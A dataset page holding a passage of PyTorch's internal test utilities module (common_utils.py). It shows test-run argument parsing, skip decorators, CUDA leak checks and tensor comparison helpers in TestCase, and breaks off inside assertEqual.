fumiyau/python_comments_free_500000 · Datasets at Hugging Face

f70ff6e04f63c81719810ece2a44b944ddc360a2

68,978

py

Python

torch/testing/_internal/common_utils.py

wenhaopeter/read_pytorch_code

491f989cd918cf08874dd4f671fb7f0142a0bc4f

[ "Intel", "X11" ]

null

torch/testing/_internal/common_utils.py

wenhaopeter/read_pytorch_code

491f989cd918cf08874dd4f671fb7f0142a0bc4f

[ "Intel", "X11" ]

null

torch/testing/_internal/common_utils.py

wenhaopeter/read_pytorch_code

491f989cd918cf08874dd4f671fb7f0142a0bc4f

[ "Intel", "X11" ]

null

r"""Importing this file must **not** initialize CUDA context. test_distributed relies on this assumption to properly run. This means that when this is imported no CUDA calls shall be made, including torch.cuda.device_count(), etc. torch.testing._internal.common_cuda.py can freely initialize CUDA context when imported. """ import sys import os import platform import re import gc import types from functools import partial import inspect import io import argparse import unittest import warnings import random import contextlib import socket import subprocess import time from collections import OrderedDict from contextlib import contextmanager from functools import wraps from itertools import product from copy import deepcopy from numbers import Number import tempfile import json from urllib.request import urlopen import __main__ import errno from typing import cast, Any, Iterable, Optional from torch.testing._internal import expecttest from torch.testing import _compare_tensors_internal, _compare_scalars_internal, _compare_return_type import torch import torch.cuda from torch._utils_internal import get_writable_path from torch._six import string_classes import torch.backends.cudnn import torch.backends.mkl from enum import Enum from torch.autograd import gradcheck from torch.autograd.gradcheck import gradgradcheck torch.backends.disable_global_flags() IS_SANDCASTLE = os.getenv('SANDCASTLE') == '1' or os.getenv('TW_JOB_USER') == 'sandcastle' class ProfilingMode(Enum): LEGACY = 1 SIMPLE = 2 PROFILING = 3 def cppProfilingFlagsToProfilingMode(): old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) if old_prof_exec_state: if old_prof_mode_state: return ProfilingMode.PROFILING else: return ProfilingMode.SIMPLE else: return ProfilingMode.LEGACY @contextmanager def enable_profiling_mode_for_profiling_tests(): if GRAPH_EXECUTOR == ProfilingMode.PROFILING: old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) try: yield finally: if GRAPH_EXECUTOR == ProfilingMode.PROFILING: torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) @contextmanager def enable_profiling_mode(): old_prof_exec_state = torch._C._jit_set_profiling_executor(True) old_prof_mode_state = torch._C._jit_set_profiling_mode(True) try: yield finally: torch._C._jit_set_profiling_executor(old_prof_exec_state) torch._C._jit_set_profiling_mode(old_prof_mode_state) @contextmanager def num_profiled_runs(num_runs): old_num_runs = torch._C._jit_set_num_profiled_runs(num_runs) try: yield finally: torch._C._jit_set_num_profiled_runs(old_num_runs) func_call = torch._C.ScriptFunction.__call__ meth_call = torch._C.ScriptMethod.__call__ def prof_callable(callable, *args, **kwargs): if 'profile_and_replay' in kwargs: del kwargs['profile_and_replay'] if GRAPH_EXECUTOR == ProfilingMode.PROFILING: with enable_profiling_mode_for_profiling_tests(): callable(*args, **kwargs) return callable(*args, **kwargs) return callable(*args, **kwargs) def prof_func_call(*args, **kwargs): return prof_callable(func_call, *args, **kwargs) def prof_meth_call(*args, **kwargs): return prof_callable(meth_call, *args, **kwargs) torch._C.ScriptFunction.__call__ = prof_func_call torch._C.ScriptMethod.__call__ = prof_meth_call def _get_test_report_path(): # allow users to override the test file location. We need this # because the distributed tests run the same test file multiple # times with different configurations. override = os.environ.get('TEST_REPORT_SOURCE_OVERRIDE') test_source = override if override is not None else 'python-unittest' return os.path.join('test-reports', test_source) parser = argparse.ArgumentParser(add_help=False) parser.add_argument('--subprocess', action='store_true', help='whether to run each test in a subprocess') parser.add_argument('--seed', type=int, default=1234) parser.add_argument('--accept', action='store_true') parser.add_argument('--ge_config', type=str) parser.add_argument('--repeat', type=int, default=1) parser.add_argument('--test_bailouts', action='store_true') parser.add_argument('--save-xml', nargs='?', type=str, const=_get_test_report_path(), default=_get_test_report_path() if bool(os.environ.get('IN_CIRCLECI')) else None) parser.add_argument('--discover-tests', action='store_true') parser.add_argument('--log-suffix', type=str, default="") parser.add_argument('--run-parallel', type=int, default=1) args, remaining = parser.parse_known_args() if args.ge_config == 'legacy': GRAPH_EXECUTOR = ProfilingMode.LEGACY elif args.ge_config == 'profiling': GRAPH_EXECUTOR = ProfilingMode.PROFILING elif args.ge_config == 'simple': GRAPH_EXECUTOR = ProfilingMode.SIMPLE else: # infer flags based on the default settings GRAPH_EXECUTOR = cppProfilingFlagsToProfilingMode() LOG_SUFFIX = args.log_suffix RUN_PARALLEL = args.run_parallel TEST_BAILOUTS = args.test_bailouts TEST_DISCOVER = args.discover_tests TEST_IN_SUBPROCESS = args.subprocess TEST_SAVE_XML = args.save_xml REPEAT_COUNT = args.repeat SEED = args.seed if not expecttest.ACCEPT: expecttest.ACCEPT = args.accept UNITTEST_ARGS = [sys.argv[0]] + remaining torch.manual_seed(SEED) def wait_for_process(p): try: return p.wait() except KeyboardInterrupt: # Give `p` a chance to handle KeyboardInterrupt. Without this, # `pytest` can't print errors it collected so far upon KeyboardInterrupt. exit_status = p.wait(timeout=5) if exit_status is not None: return exit_status else: p.kill() raise except: # noqa E722, copied from python core library p.kill() raise finally: # Always call p.wait() to ensure exit p.wait() def shell(command, cwd=None, env=None): sys.stdout.flush() sys.stderr.flush() # The following cool snippet is copied from Py3 core library subprocess.call # only the with # 1. `except KeyboardInterrupt` block added for SIGINT handling. # 2. In Py2, subprocess.Popen doesn't return a context manager, so we do # `p.wait()` in a `final` block for the code to be portable. # # https://github.com/python/cpython/blob/71b6c1af727fbe13525fb734568057d78cea33f3/Lib/subprocess.py#L309-L323 assert not isinstance(command, torch._six.string_classes), "Command to shell should be a list or tuple of tokens" p = subprocess.Popen(command, universal_newlines=True, cwd=cwd, env=env) return wait_for_process(p) # Used to run the same test with different tensor types def repeat_test_for_types(dtypes): def repeat_helper(f): @wraps(f) def call_helper(self, *args): for dtype in dtypes: with TestCase.subTest(self, dtype=dtype): f(self, *args, dtype=dtype) return call_helper return repeat_helper # Environment variable `IS_PYTORCH_CI` is set in `.jenkins/common.sh`. IS_PYTORCH_CI = bool(os.environ.get('IS_PYTORCH_CI')) def discover_test_cases_recursively(suite_or_case): if isinstance(suite_or_case, unittest.TestCase): return [suite_or_case] rc = [] for element in suite_or_case: rc.extend(discover_test_cases_recursively(element)) return rc def get_test_names(test_cases): return ['.'.join(case.id().split('.')[-2:]) for case in test_cases] def chunk_list(lst, nchunks): return [lst[i::nchunks] for i in range(nchunks)] def run_tests(argv=UNITTEST_ARGS): if TEST_DISCOVER: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) for name in get_test_names(test_cases): print(name) elif TEST_IN_SUBPROCESS: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) failed_tests = [] for case in test_cases: test_case_full_name = case.id().split('.', 1)[1] exitcode = shell([sys.executable] + argv + [test_case_full_name]) if exitcode != 0: failed_tests.append(test_case_full_name) assert len(failed_tests) == 0, "{} unit test(s) failed:\n\t{}".format( len(failed_tests), '\n\t'.join(failed_tests)) elif RUN_PARALLEL > 1: suite = unittest.TestLoader().loadTestsFromModule(__main__) test_cases = discover_test_cases_recursively(suite) test_batches = chunk_list(get_test_names(test_cases), RUN_PARALLEL) processes = [] for i in range(RUN_PARALLEL): command = [sys.executable] + argv + ['--log-suffix=-shard-{}'.format(i + 1)] + test_batches[i] processes.append(subprocess.Popen(command, universal_newlines=True)) failed = False for p in processes: failed |= wait_for_process(p) != 0 assert not failed, "Some test shards have failed" elif TEST_SAVE_XML is not None: # import here so that non-CI doesn't need xmlrunner installed import xmlrunner test_report_path = TEST_SAVE_XML + LOG_SUFFIX os.makedirs(test_report_path, exist_ok=True) verbose = '--verbose' in argv or '-v' in argv if verbose: print('Test results will be stored in {}'.format(test_report_path)) unittest.main(argv=argv, testRunner=xmlrunner.XMLTestRunner(output=test_report_path, verbosity=2 if verbose else 1)) elif REPEAT_COUNT > 1: for _ in range(REPEAT_COUNT): if not unittest.main(exit=False, argv=argv).result.wasSuccessful(): sys.exit(-1) else: unittest.main(argv=argv) IS_WINDOWS = sys.platform == "win32" IS_MACOS = sys.platform == "darwin" IS_PPC = platform.machine() == "ppc64le" if IS_WINDOWS: @contextmanager def TemporaryFileName(): # Ideally we would like to not have to manually delete the file, but NamedTemporaryFile # opens the file, and it cannot be opened multiple times in Windows. To support Windows, # close the file after creation and try to remove it manually f = tempfile.NamedTemporaryFile(delete=False) try: f.close() yield f.name finally: os.unlink(f.name) else: @contextmanager # noqa: T484 def TemporaryFileName(): with tempfile.NamedTemporaryFile() as f: yield f.name def _check_module_exists(name): r"""Returns if a top-level module with :attr:`name` exists *without** importing it. This is generally safer than try-catch block around a `import X`. It avoids third party libraries breaking assumptions of some of our tests, e.g., setting multiprocessing start method when imported (see librosa/#747, torchvision/#544). """ import importlib import importlib.util spec = importlib.util.find_spec(name) return spec is not None TEST_NUMPY = _check_module_exists('numpy') TEST_SCIPY = _check_module_exists('scipy') TEST_MKL = torch.backends.mkl.is_available() TEST_NUMBA = _check_module_exists('numba') TEST_DILL = _check_module_exists('dill') TEST_LIBROSA = _check_module_exists('librosa') # Python 2.7 doesn't have spawn NO_MULTIPROCESSING_SPAWN = os.environ.get('NO_MULTIPROCESSING_SPAWN', '0') == '1' TEST_WITH_ASAN = os.getenv('PYTORCH_TEST_WITH_ASAN', '0') == '1' TEST_WITH_TSAN = os.getenv('PYTORCH_TEST_WITH_TSAN', '0') == '1' TEST_WITH_UBSAN = os.getenv('PYTORCH_TEST_WITH_UBSAN', '0') == '1' TEST_WITH_ROCM = os.getenv('PYTORCH_TEST_WITH_ROCM', '0') == '1' # Enables tests that are slow to run (disabled by default) TEST_WITH_SLOW = os.getenv('PYTORCH_TEST_WITH_SLOW', '0') == '1' # Disables non-slow tests (these tests enabled by default) # This is usually used in conjunction with TEST_WITH_SLOW to # run *only* slow tests. (I could have done an enum, but # it felt a little awkward. TEST_SKIP_FAST = os.getenv('PYTORCH_TEST_SKIP_FAST', '0') == '1' if TEST_NUMPY: import numpy as np # Dict of NumPy dtype -> torch dtype (when the correspondence exists) numpy_to_torch_dtype_dict = { np.bool : torch.bool, np.uint8 : torch.uint8, np.int8 : torch.int8, np.int16 : torch.int16, np.int32 : torch.int32, np.int64 : torch.int64, np.float16 : torch.float16, np.float32 : torch.float32, np.float64 : torch.float64, np.complex64 : torch.complex64, np.complex128 : torch.complex128 } # Dict of torch dtype -> NumPy dtype torch_to_numpy_dtype_dict = {value : key for (key, value) in numpy_to_torch_dtype_dict.items()} ALL_TENSORTYPES = [torch.float, torch.double, torch.half] # bfloat16 bringup is currently only available on ROCm # ALL_TENSORTYPES2 will eventually be unified with ALL_TENSORTYPES # when bfloat16 bringup is complete on all platforms if TEST_WITH_ROCM: ALL_TENSORTYPES2 = [torch.float, torch.double, torch.half, torch.bfloat16] else: ALL_TENSORTYPES2 = ALL_TENSORTYPES def skipIfRocm(fn): @wraps(fn) def wrapper(*args, **kwargs): if TEST_WITH_ROCM: raise unittest.SkipTest("test doesn't currently work on the ROCm stack") else: fn(*args, **kwargs) return wrapper def skipIfCompiledWithoutNumpy(fn): # Even if the numpy module is present, if `USE_NUMPY=0` is used during the # build, numpy tests will fail numpy_support = TEST_NUMPY if numpy_support: try: # The numpy module is present, verify that PyTorch is compiled with # numpy support torch.from_numpy(np.array([2, 2])) except RuntimeError: numpy_support = False @wraps(fn) def wrapper(*args, **kwargs): if not numpy_support: raise unittest.SkipTest("PyTorch was compiled without numpy support") else: fn(*args, **kwargs) return wrapper def _test_function(fn, device): def run_test_function(self): return fn(self, device) return run_test_function def skipIfNoLapack(fn): @wraps(fn) def wrapper(*args, **kwargs): if not torch._C.has_lapack: raise unittest.SkipTest('PyTorch compiled without Lapack') else: fn(*args, **kwargs) return wrapper def skipIfNotRegistered(op_name, message): """Wraps the decorator to hide the import of the `core`. Args: op_name: Check if this op is registered in `core._REGISTERED_OPERATORS`. message: message to fail with. Usage: @skipIfNotRegistered('MyOp', 'MyOp is not linked!') This will check if 'MyOp' is in the caffe2.python.core """ try: from caffe2.python import core skipper = unittest.skipIf(op_name not in core._REGISTERED_OPERATORS, message) except ImportError: skipper = unittest.skip("Cannot import `caffe2.python.core`") return skipper def skipIfNoSciPy(fn): @wraps(fn) def wrapper(*args, **kwargs): if not TEST_SCIPY: raise unittest.SkipTest("test require SciPy, but SciPy not found") else: fn(*args, **kwargs) return wrapper def slowTest(fn): @wraps(fn) def wrapper(*args, **kwargs): if not TEST_WITH_SLOW: raise unittest.SkipTest("test is slow; run with PYTORCH_TEST_WITH_SLOW to enable test") else: fn(*args, **kwargs) wrapper.__dict__['slow_test'] = True return wrapper def skipCUDAMemoryLeakCheckIf(condition): def dec(fn): if getattr(fn, '_do_cuda_memory_leak_check', True): # if current True fn._do_cuda_memory_leak_check = not condition return fn return dec def skipCUDANonDefaultStreamIf(condition): def dec(fn): if getattr(fn, '_do_cuda_non_default_stream', True): # if current True fn._do_cuda_non_default_stream = not condition return fn return dec def suppress_warnings(fn): @wraps(fn) def wrapper(*args, **kwargs): with warnings.catch_warnings(): warnings.simplefilter("ignore") fn(*args, **kwargs) return wrapper def get_cpu_type(type_name): module, name = type_name.rsplit('.', 1) assert module == 'torch.cuda' return getattr(torch, name) def get_gpu_type(type_name): if isinstance(type_name, type): type_name = '{}.{}'.format(type_name.__module__, type_name.__name__) module, name = type_name.rsplit('.', 1) assert module == 'torch' return getattr(torch.cuda, name) def to_gpu(obj, type_map=None): if type_map is None: type_map = {} if isinstance(obj, torch.Tensor): assert obj.is_leaf t = type_map.get(obj.type(), get_gpu_type(obj.type())) with torch.no_grad(): res = obj.clone().type(t) res.requires_grad = obj.requires_grad return res elif torch.is_storage(obj): return obj.new().resize_(obj.size()).copy_(obj) elif isinstance(obj, list): return [to_gpu(o, type_map) for o in obj] elif isinstance(obj, tuple): return tuple(to_gpu(o, type_map) for o in obj) else: return deepcopy(obj) def get_function_arglist(func): return inspect.getfullargspec(func).args def set_rng_seed(seed): torch.manual_seed(seed) random.seed(seed) if TEST_NUMPY: np.random.seed(seed) @contextlib.contextmanager def freeze_rng_state(): rng_state = torch.get_rng_state() if torch.cuda.is_available(): cuda_rng_state = torch.cuda.get_rng_state() yield if torch.cuda.is_available(): torch.cuda.set_rng_state(cuda_rng_state) torch.set_rng_state(rng_state) @contextlib.contextmanager def set_default_dtype(dtype): saved_dtype = torch.get_default_dtype() torch.set_default_dtype(dtype) yield torch.set_default_dtype(saved_dtype) def iter_indices(tensor): if tensor.dim() == 0: return range(0) if tensor.dim() == 1: return range(tensor.size(0)) return product(*(range(s) for s in tensor.size())) def is_iterable(obj): try: iter(obj) return True except TypeError: return False class CudaNonDefaultStream(): def __enter__(self): # Before starting CUDA test save currently active streams on all # CUDA devices and set new non default streams to all CUDA devices # to ensure CUDA tests do not use default stream by mistake. beforeDevice = torch.cuda.current_device() self.beforeStreams = [] for d in range(torch.cuda.device_count()): self.beforeStreams.append(torch.cuda.current_stream(d)) deviceStream = torch.cuda.Stream(device=d) torch._C._cuda_setStream(deviceStream._cdata) torch._C._cuda_setDevice(beforeDevice) def __exit__(self, exec_type, exec_value, traceback): # After completing CUDA test load previously active streams on all # CUDA devices. beforeDevice = torch.cuda.current_device() for d in range(torch.cuda.device_count()): torch._C._cuda_setStream(self.beforeStreams[d]._cdata) torch._C._cuda_setDevice(beforeDevice) class CudaMemoryLeakCheck(): def __init__(self, testcase, name=None): self.name = testcase.id() if name is None else name self.testcase = testcase # initialize context & RNG to prevent false positive detections # when the test is the first to initialize those from torch.testing._internal.common_cuda import initialize_cuda_context_rng initialize_cuda_context_rng() @staticmethod def get_cuda_memory_usage(): # we don't need CUDA synchronize because the statistics are not tracked at # actual freeing, but at when marking the block as free. num_devices = torch.cuda.device_count() gc.collect() return tuple(torch.cuda.memory_allocated(i) for i in range(num_devices)) def __enter__(self): self.befores = self.get_cuda_memory_usage() def __exit__(self, exec_type, exec_value, traceback): # Don't check for leaks if an exception was thrown if exec_type is not None: return afters = self.get_cuda_memory_usage() for i, (before, after) in enumerate(zip(self.befores, afters)): self.testcase.assertEqual( before, after, msg='{} leaked {} bytes CUDA memory on device {}'.format( self.name, after - before, i)) # "min_satisfying_examples" setting has been deprecated in hypythesis # 3.56.0 and removed in hypothesis 4.x try: import hypothesis def settings(*args, **kwargs): if 'min_satisfying_examples' in kwargs and hypothesis.version.__version_info__ >= (3, 56, 0): kwargs.pop('min_satisfying_examples') return hypothesis.settings(*args, **kwargs) hypothesis.settings.register_profile( "pytorch_ci", settings( derandomize=True, suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=100, verbosity=hypothesis.Verbosity.normal)) hypothesis.settings.register_profile( "dev", settings( suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=10, verbosity=hypothesis.Verbosity.normal)) hypothesis.settings.register_profile( "debug", settings( suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=1000, verbosity=hypothesis.Verbosity.verbose)) hypothesis.settings.load_profile( "pytorch_ci" if IS_PYTORCH_CI else os.getenv('PYTORCH_HYPOTHESIS_PROFILE', 'dev') ) except ImportError: print('Fail to import hypothesis in common_utils, tests are not derandomized') disabled_test_from_issues = None def check_disabled(test_name): global disabled_test_from_issues if disabled_test_from_issues is None: disabled_test_from_issues = {} def read_and_process(): url = 'https://raw.githubusercontent.com/zdevito/pytorch_disabled_tests/master/result.json' contents = urlopen(url, timeout=1).read().decode('utf-8') the_response = json.loads(contents) for item in the_response['items']: title = item['title'] key = 'DISABLED ' if title.startswith(key): test_name = title[len(key):].strip() disabled_test_from_issues[test_name] = item['html_url'] if not IS_SANDCASTLE and os.getenv("PYTORCH_RUN_DISABLED_TESTS", "0") != "1": try: read_and_process() except Exception: print("Couldn't download test skip set, leaving all tests enabled...") if test_name in disabled_test_from_issues: raise unittest.SkipTest( "Test is disabled because an issue exists disabling it: {}".format(disabled_test_from_issues[test_name]) + " To enable set the environment variable PYTORCH_RUN_DISABLED_TESTS=1") # Acquires the comparison dtype, required since isclose # requires both inputs have the same dtype, and isclose is not supported # for some device x dtype combinations. # NOTE: Remaps bfloat16 to float32 since neither the CPU or CUDA device types # support needed bfloat16 comparison methods. # NOTE: Remaps float16 to float32 on CPU since the CPU device type doesn't # support needed float16 comparison methods. # TODO: Update this once bfloat16 and float16 are better supported. def get_comparison_dtype(a, b): # TODO: update this when promote_types supports bfloat16 and/or # isclose supports bfloat16. a_dtype = torch.float32 if a.dtype is torch.bfloat16 else a.dtype b_dtype = torch.float32 if b.dtype is torch.bfloat16 else b.dtype compare_dtype = torch.promote_types(a_dtype, b_dtype) # non-CUDA (CPU, for example) float16 -> float32 # TODO: update this when isclose is implemented for CPU float16 if (compare_dtype is torch.float16 and (a.device != b.device or a.device.type != 'cuda' or b.device.type != 'cuda')): compare_dtype = torch.float32 return compare_dtype class TestCase(expecttest.TestCase): # NOTE: "precision" lets classes and generated tests set minimum # atol values when comparing tensors. Used by @precisionOverride, for # example. # TODO: provide a better mechanism for generated tests to set rtol/atol. _precision: float = 0 @property def precision(self) -> float: return self._precision @precision.setter def precision(self, prec: float) -> None: self._precision = prec _do_cuda_memory_leak_check = False _do_cuda_non_default_stream = False def __init__(self, method_name='runTest'): super().__init__(method_name) test_method = getattr(self, method_name, None) if test_method is not None: # Wraps the tested method if we should do CUDA memory check. self._do_cuda_memory_leak_check &= getattr(test_method, '_do_cuda_memory_leak_check', True) # FIXME: figure out the flaky -1024 anti-leaks on windows. See #8044 if self._do_cuda_memory_leak_check and not IS_WINDOWS: self.wrap_with_cuda_policy(method_name, self.assertLeaksNoCudaTensors) # Wraps the tested method if we should enforce non default CUDA stream. self._do_cuda_non_default_stream &= getattr(test_method, '_do_cuda_non_default_stream', True) if self._do_cuda_non_default_stream and not IS_WINDOWS and not TEST_WITH_ROCM: self.wrap_with_cuda_policy(method_name, self.enforceNonDefaultStream) def assertLeaksNoCudaTensors(self, name=None): name = self.id() if name is None else name return CudaMemoryLeakCheck(self, name) def enforceNonDefaultStream(self): return CudaNonDefaultStream() def wrap_with_cuda_policy(self, method_name, policy): test_method = getattr(self, method_name) # the import below may initialize CUDA context, so we do it only if # self._do_cuda_memory_leak_check or self._do_cuda_non_default_stream # is True. from torch.testing._internal.common_cuda import TEST_CUDA fullname = self.id().lower() # class_name.method_name if TEST_CUDA and ('gpu' in fullname or 'cuda' in fullname): setattr(self, method_name, self.wrap_method_with_cuda_policy(test_method, policy)) def wrap_method_with_cuda_policy(self, method, policy): # Assumes that `method` is the tested function in `self`. # NOTE: Python Exceptions (e.g., unittest.Skip) keeps objects in scope # alive, so this cannot be done in setUp and tearDown because # tearDown is run unconditionally no matter whether the test # passes or not. For the same reason, we can't wrap the `method` # call in try-finally and always do the check. @wraps(method) def wrapper(self, *args, **kwargs): with policy(): method(*args, **kwargs) return types.MethodType(wrapper, self) def wrap_with_cuda_memory_check(self, method): return self.wrap_method_with_cuda_policy(method, self.assertLeaksNoCudaTensors) def setUp(self): if TEST_SKIP_FAST: if not getattr(self, self._testMethodName).__dict__.get('slow_test', False): raise unittest.SkipTest("test is fast; we disabled it with PYTORCH_TEST_SKIP_FAST") check_disabled(str(self)) set_rng_seed(SEED) def genSparseTensor(self, size, sparse_dim, nnz, is_uncoalesced, device='cpu'): # Assert not given impossible combination, where the sparse dims have # empty numel, but nnz > 0 makes the indices containing values. assert all(size[d] > 0 for d in range(sparse_dim)) or nnz == 0, 'invalid arguments' v_size = [nnz] + list(size[sparse_dim:]) v = torch.randn(*v_size, device=device) i = torch.rand(sparse_dim, nnz, device=device) i.mul_(torch.tensor(size[:sparse_dim]).unsqueeze(1).to(i)) i = i.to(torch.long) if is_uncoalesced: v = torch.cat([v, torch.randn_like(v)], 0) i = torch.cat([i, i], 1) x = torch.sparse_coo_tensor(i, v, torch.Size(size)) if not is_uncoalesced: x = x.coalesce() else: # FIXME: `x` is a sparse view of `v`. Currently rebase_history for # sparse views is not implemented, so this workaround is # needed for inplace operations done on `x`, e.g., copy_(). # Remove after implementing something equivalent to CopySlice # for sparse views. # NOTE: We do clone() after detach() here because we need to be able to change size/storage of x afterwards x = x.detach().clone() return x, x._indices().clone(), x._values().clone() def safeToDense(self, t): r = self.safeCoalesce(t) return r.to_dense() def safeCoalesce(self, t): tc = t.coalesce() self.assertEqual(tc.to_dense(), t.to_dense()) self.assertTrue(tc.is_coalesced()) # Our code below doesn't work when nnz is 0, because # then it's a 0D tensor, not a 2D tensor. if t._nnz() == 0: self.assertEqual(t._indices(), tc._indices()) self.assertEqual(t._values(), tc._values()) return tc value_map = {} for idx, val in zip(t._indices().t(), t._values()): idx_tup = tuple(idx.tolist()) if idx_tup in value_map: value_map[idx_tup] += val else: value_map[idx_tup] = val.clone() if isinstance(val, torch.Tensor) else val new_indices = sorted(list(value_map.keys())) new_values = [value_map[idx] for idx in new_indices] if t._values().ndimension() < 2: new_values = t._values().new(new_values) else: new_values = torch.stack(new_values) new_indices = t._indices().new(new_indices).t() tg = t.new(new_indices, new_values, t.size()) self.assertEqual(tc._indices(), tg._indices()) self.assertEqual(tc._values(), tg._values()) if t.is_coalesced(): self.assertEqual(tc._indices(), t._indices()) self.assertEqual(tc._values(), t._values()) return tg # Compares the given Torch and NumPy functions on the given tensor-like object. # NOTE: both torch_fn and np_fn should be functions that take a single # tensor (array). If the torch and/or NumPy function require additional # arguments then wrap the function in a lambda or pass a partial function. # TODO: support bfloat16 comparisons # TODO: add args/kwargs for passing to assertEqual (e.g. rtol, atol) def compare_with_numpy(self, torch_fn, np_fn, tensor_like, device=None, dtype=None): assert TEST_NUMPY assert dtype is not torch.bfloat16 if isinstance(tensor_like, torch.Tensor): assert device is None assert dtype is None a = tensor_like.detach().cpu().numpy() t = tensor_like else: a = np.array(tensor_like, dtype=torch_to_numpy_dtype_dict[dtype]) t = torch.tensor(tensor_like, device=device, dtype=dtype) np_result = np_fn(a) torch_result = torch_fn(t).cpu() # Converts arrays to tensors if isinstance(np_result, np.ndarray): try: np_result = torch.from_numpy(np_result) except Exception: # NOTE: copying an array before conversion is necessary when, # for example, the array has negative strides. np_result = torch.from_numpy(np_result.copy()) self.assertEqual(np_result, torch_result) # Some analysis of tolerance by logging tests from test_torch.py can be found # in https://github.com/pytorch/pytorch/pull/32538. # dtype name : (rtol, atol) dtype_precisions = { torch.float16 : (0.001, 1e-5), torch.bfloat16 : (0.016, 1e-5), torch.float32 : (1.3e-6, 1e-5), torch.float64 : (1e-7, 1e-7), torch.complex32 : (0.001, 1e-5), torch.complex64 : (1.3e-6, 1e-5), torch.complex128 : (1e-7, 1e-7), } # Returns the "default" rtol and atol for comparing scalars or # tensors of the given dtypes. def _getDefaultRtolAndAtol(self, dtype0, dtype1): rtol = max(self.dtype_precisions.get(dtype0, (0, 0))[0], self.dtype_precisions.get(dtype1, (0, 0))[0]) atol = max(self.dtype_precisions.get(dtype0, (0, 0))[1], self.dtype_precisions.get(dtype1, (0, 0))[1]) return rtol, atol # Checks if two dense tensors are equal(-ish), returning (True, None) # when they are and (False, debug_msg) when they are not. # If exact_dtype is true both tensors must have the same dtype. # If exact_device is true both tensors must be on the same device. # See the "Test Framework Tensor 'Equality'" note for more details. # NOTE: tensors on different devices are moved to the CPU to be compared when # exact_device is False. # NOTE: this function checks the tensors' devices, sizes, and dtypes # and acquires the appropriate device, dtype, rtol and atol to compare # them with. It then calls _compare_tensors_internal. def _compareTensors(self, a, b, *, rtol: Optional[float] = None, atol=None, equal_nan=True, exact_dtype=True, exact_device=False) -> _compare_return_type: assert (atol is None) == (rtol is None) if not isinstance(a, torch.Tensor): return (False, "argument a, {0}, to _compareTensors is not a tensor!".format(a)) if not isinstance(b, torch.Tensor): return (False, "argument b, {0}, to _compareTensors is not a tensor!".format(b)) # Validates tensors are on the same device if exact_device and a.device != b.device: return (False, ("Attempted to compare equality of tensors on " "different devices! Got devices {0} and " "{1}.".format(a.device, b.device))) # Compares tensors of different devices on the CPU if a.device != b.device: a = a.cpu() b = b.cpu() # Checks size matches if a.size() != b.size(): return (False, ("Attempted to compare equality of tensors with " "different sizes. Got sizes {0} and {1}.").format(a.size(), b.size())) # Checks dtype (if exact_dtype) if exact_dtype and a.dtype is not b.dtype: return (False, ("Attempted to compare equality of tensors with " "different dtypes. Got dtypes {0} and {1}.").format(a.dtype, b.dtype)) # Acquires rtol and atol if rtol is None: rtol, atol = self._getDefaultRtolAndAtol(a.dtype, b.dtype) atol = max(atol, self.precision) # Converts to comparison dtype dtype = get_comparison_dtype(a, b) a = a.to(dtype) b = b.to(dtype) return _compare_tensors_internal(a, b, rtol=rtol, atol=atol, equal_nan=equal_nan) # Checks if two scalars are equal(-ish), returning (True, None) # when they are and (False, debug_msg) when they are not. # NOTE: this function just acquires rtol and atol # before calling _compare_scalars_internal. def _compareScalars(self, a, b, *, rtol: Optional[float] = None, atol: Optional[float] = None, equal_nan=True) -> _compare_return_type: # Acquires rtol and atol assert (atol is None) == (rtol is None) if rtol is None: if isinstance(a, complex) or isinstance(b, complex): rtol, atol = self._getDefaultRtolAndAtol(torch.complex64, torch.complex64) elif isinstance(a, float) or isinstance(b, float): rtol, atol = self._getDefaultRtolAndAtol(torch.float32, torch.float32) else: rtol, atol = 0, 0 atol = max(atol, self.precision) return _compare_scalars_internal(a, b, rtol=cast(float, rtol), atol=cast(float, atol), equal_nan=equal_nan) def assertEqualIgnoreType(self, *args, **kwargs) -> None: # If you are seeing this function used, that means test is written wrongly # and deserves detailed investigation return self.assertEqual(*args, exact_dtype=False, **kwargs) # Compares x and y # TODO: default exact_device to True def assertEqual(self, x, y, msg: Optional[str] = None, *, atol: Optional[float] = None, rtol: Optional[float] = None, equal_nan=True, exact_dtype=True, exact_device=False) -> None: assert (atol is None) == (rtol is None), "If one of atol or rtol is specified the other must be, too" # Tensor x Number and Number x Tensor comparisons if isinstance(x, torch.Tensor) and isinstance(y, Number): self.assertEqual(x.item(), y, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(y, torch.Tensor) and isinstance(x, Number): self.assertEqual(x, y.item(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) # Tensor x np.bool elif isinstance(x, torch.Tensor) and isinstance(y, np.bool_): self.assertEqual(x.item(), y, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(y, torch.Tensor) and isinstance(x, np.bool_): self.assertEqual(x, y.item(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) # Tensor x Tensor elif isinstance(x, torch.Tensor) and isinstance(y, torch.Tensor): super().assertEqual(x.is_sparse, y.is_sparse, msg=msg) super().assertEqual(x.is_quantized, y.is_quantized, msg=msg) if x.is_sparse: x = self.safeCoalesce(x) y = self.safeCoalesce(y) indices_result, debug_msg = self._compareTensors(x._indices(), y._indices(), rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not indices_result and msg is None: assert debug_msg is not None msg = "Sparse tensor indices failed to compare as equal! " + debug_msg self.assertTrue(indices_result, msg=msg) values_result, debug_msg = self._compareTensors(x._values(), y._values(), rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not values_result and msg is None: assert debug_msg is not None msg = "Sparse tensor values failed to compare as equal! " + debug_msg self.assertTrue(values_result, 